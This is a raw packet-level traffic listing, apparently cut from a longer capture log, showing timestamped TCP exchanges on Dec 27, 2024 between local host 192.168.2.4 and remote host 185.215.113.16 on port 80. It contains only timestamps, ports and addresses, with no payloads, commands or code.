Dec 27, 2024 09:01:15.220810890 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.221255064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.221362114 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.221539021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.221539021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.221937895 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.222039938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.222079039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.222079039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.222647905 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.222767115 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.222788095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.223036051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.223336935 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.223452091 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.223459959 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.223491907 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.224087954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.224203110 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.224289894 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.224289894 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.224756956 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.224899054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.224929094 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.224977016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.225476980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.225574970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.225601912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.225640059 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.226156950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.226248026 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.226304054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.226304054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.226855040 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.226902962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.227039099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.227118969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.227545977 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.227674007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.227914095 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.227914095 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.228260994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.228399992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.228437901 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.228585958 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.228940010 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.229013920 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.229044914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.229161978 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.229671001 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.229806900 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.230407953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.230460882 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.230462074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.230462074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.230480909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.231041908 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.231096983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.231096983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.395531893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.395605087 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.395620108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.395664930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.395893097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.395967007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.396003008 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.396075010 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.396584034 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.396703005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.396720886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.396779060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.397355080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.397427082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.397620916 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.397732019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.397984982 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.398089886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.398102045 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.398158073 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.398685932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.398827076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.398857117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.398931980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.399389982 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.399435043 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.399517059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.399557114 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.400098085 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.400154114 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.400204897 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.400258064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.400784016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.400839090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.400892019 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.400949955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.401499033 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.401560068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.401616096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.401688099 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.402160883 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.402218103 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.402287960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.402391911 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.402904034 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.402973890 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.403009892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.403062105 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.403573990 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.403626919 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.403670073 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.403764963 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.404324055 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.404381990 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.404405117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.404500008 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.404989958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.405066013 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.405100107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.405172110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.405687094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.405812025 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.405818939 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.405885935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.406375885 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.406440020 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.406472921 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.406527042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.407099009 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.407170057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.407207012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.407248020 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.407807112 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.407911062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.407932043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.408080101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.408512115 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.408565998 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.408627033 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.408689022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.409214020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.409271955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.409332037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.409395933 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.409953117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.410016060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.410017014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.410115004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.410573006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.410670996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.410703897 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.410763025 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.411271095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.411359072 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.411384106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.411457062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.411982059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.412039042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.412101030 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.412228107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.412672997 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.412790060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.412792921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.412847996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.413450003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.413503885 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.413507938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.413589954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.414081097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.414155006 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.414186954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.414248943 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.414808035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.414901972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.414931059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.415015936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.415479898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.415532112 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.415628910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.415715933 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.416203976 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.416229963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.416273117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.416273117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.416997910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.417146921 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.417154074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.417203903 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.417620897 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.417690992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.417732954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.417798042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.418550014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.418569088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.418649912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.418651104 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.419111013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.419205904 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.419207096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.419274092 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.419703007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.419790983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.419822931 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.419876099 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.420401096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.420461893 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.420484066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.420569897 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.421108007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.421191931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.421230078 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.421292067 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.421792030 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.421864986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.422131062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.422208071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.422610044 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.422684908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.422720909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.422811031 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.424684048 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.424696922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.424709082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.424783945 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.424808979 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.424822092 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.424833059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.424860954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.424860954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.424880981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.425318956 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.425384998 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.425441980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.425498009 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.426011086 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.426120996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.426156044 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.426232100 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.426695108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.426760912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.426822901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.426917076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.427458048 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.427520037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.427750111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.427829981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.428112984 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.428189993 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.428225040 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.428297997 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.428807020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.428877115 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.428910971 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.428982973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.429470062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.429534912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.429589987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.429660082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.430213928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.430299997 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.430329084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.430381060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.430908918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.431027889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.431056976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.431107044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.431581974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.431687117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.431704998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.431791067 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.432831049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.432890892 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.596754074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.596896887 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.596934080 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.596966982 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.597115993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.597193956 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.597220898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.597271919 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.597821951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.597954988 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.597965956 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.598016024 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.598546982 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.598618031 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.598710060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.598799944 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.599199057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.599270105 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.599277020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.599334955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.599914074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.599961996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.600039005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.600080967 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.600626945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.600708008 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.600737095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.600800991 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.601350069 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.601402998 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.601427078 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.601494074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.602015018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.602072954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.602114916 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.602169991 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.602793932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.602910042 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.602912903 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.602951050 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.603424072 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.603518963 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.603547096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.603610992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.604130983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.604244947 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.604264021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.604324102 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.604856014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.604943037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.604959965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.605031013 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.605524063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.605575085 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.605623007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.605684996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.606205940 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.606271029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.606322050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.606434107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.606910944 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.606961966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.607018948 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.607060909 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.607649088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.607706070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.607764006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:15.607811928 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:15.608331919 CET	80	49789	185.215.113.16	192.168.2.4
